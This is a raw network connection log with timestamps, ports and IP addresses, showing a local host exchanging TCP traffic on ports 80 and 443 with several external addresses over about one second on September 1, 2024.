Sep 1, 2024 05:09:23.716120958 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.716245890 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.716255903 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.716373920 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.716391087 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.778830051 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.796029091 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.796046972 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.796061039 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.796084881 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.796920061 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.796982050 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.801599979 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.801657915 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.808399916 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.808418036 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.811587095 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.811671972 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.823398113 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.823437929 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.823483944 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.824295044 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.824345112 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.824425936 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.825145006 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.825186968 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.825324059 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.838249922 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.838306904 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.838346004 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.839190960 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.839200974 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.845736980 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.845758915 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.846123934 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.846131086 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.847507954 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.847516060 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.896924973 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.917926073 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.917968988 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.918024063 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.918289900 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.918313980 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.930289030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930299044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930309057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930344105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930387020 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930464029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930500984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930511951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930521011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930589914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930602074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930604935 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930610895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930627108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930638075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930663109 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930695057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930706024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930731058 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930752993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930828094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930835962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930844069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930857897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.930870056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.930891037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.937206984 CEST	80	49772	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:23.937283039 CEST	49772	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:23.941746950 CEST	49772	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:23.946504116 CEST	80	49772	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:24.046463013 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.046494007 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.046694994 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.047565937 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.047580004 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.080465078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080473900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080530882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.080697060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080715895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080724955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080734015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080760956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.080787897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080790043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.080797911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080806971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080832958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.080842972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.080890894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080900908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080910921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080931902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.080950022 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.080952883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080962896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080971003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080991983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.080991983 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081013918 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081036091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081705093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081712008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081728935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081738949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081748962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081758976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081779003 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081793070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081801891 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081804037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081814051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081832886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081856966 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081866026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081876040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081886053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.081909895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.081932068 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.187208891 CEST	80	49772	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:24.187294006 CEST	49772	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:24.231982946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232001066 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232008934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232037067 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232049942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232111931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232121944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232131958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232141972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232152939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232161045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232180119 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232192993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232302904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232336044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232338905 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232346058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232379913 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232460976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232472897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232486963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232510090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232532978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232686043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232738972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232757092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232765913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232798100 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232824087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232832909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232841015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232852936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232852936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232882023 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232918024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232928038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232938051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232947111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232955933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.232959986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232969046 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.232999086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233082056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233095884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233104944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233131886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233141899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233176947 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233186960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233211040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233226061 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233297110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233306885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233318090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233340025 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233355045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233833075 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233843088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233851910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233882904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233896971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233900070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233911037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.233931065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.233944893 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234488964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234528065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234545946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234556913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234580040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234603882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234611988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234647989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234778881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234787941 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234798908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234817982 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234827042 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234839916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234859943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234898090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234922886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234930992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234956026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234963894 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.234977007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234985113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.234994888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.235014915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.235030890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.235040903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.235040903 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.235049963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.235059023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.235068083 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.235078096 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.235091925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.235100985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.235107899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.235129118 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.235148907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.289518118 CEST	49772	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:24.289887905 CEST	49780	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:24.294533968 CEST	80	49772	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:24.294579983 CEST	49772	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:24.294661999 CEST	80	49780	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:24.294725895 CEST	49780	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:24.294864893 CEST	49780	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:24.299577951 CEST	80	49780	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:24.381968975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.381988049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.381994963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382003069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382014036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382034063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382061005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382067919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382077932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382086992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382114887 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382124901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382155895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382164955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382174015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382181883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382198095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382224083 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382227898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382251024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382258892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382267952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382299900 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382337093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382345915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382354021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382364988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382373095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382380962 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382383108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382390976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382411957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382436037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382457018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382464886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382474899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382500887 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382513046 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382533073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382541895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382550955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382581949 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382591963 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382647991 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382668018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382678032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382692099 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382703066 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382715940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.382723093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.382805109 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.383416891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383435011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383443117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383481026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.383498907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383510113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383534908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383553028 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.383575916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.383780003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383791924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383806944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383826971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.383867979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383878946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383889914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.383898020 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.383909941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.383955002 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384274006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384291887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384318113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384321928 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384345055 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384354115 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384387970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384406090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384443998 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384597063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384612083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384625912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384638071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384649992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384680986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384692907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384705067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384728909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384730101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384741068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384768963 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384783030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384793997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384829044 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384840012 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384850979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384875059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.384879112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.384922028 CEST	80	49742	185.215.113.100	192.168.2.4
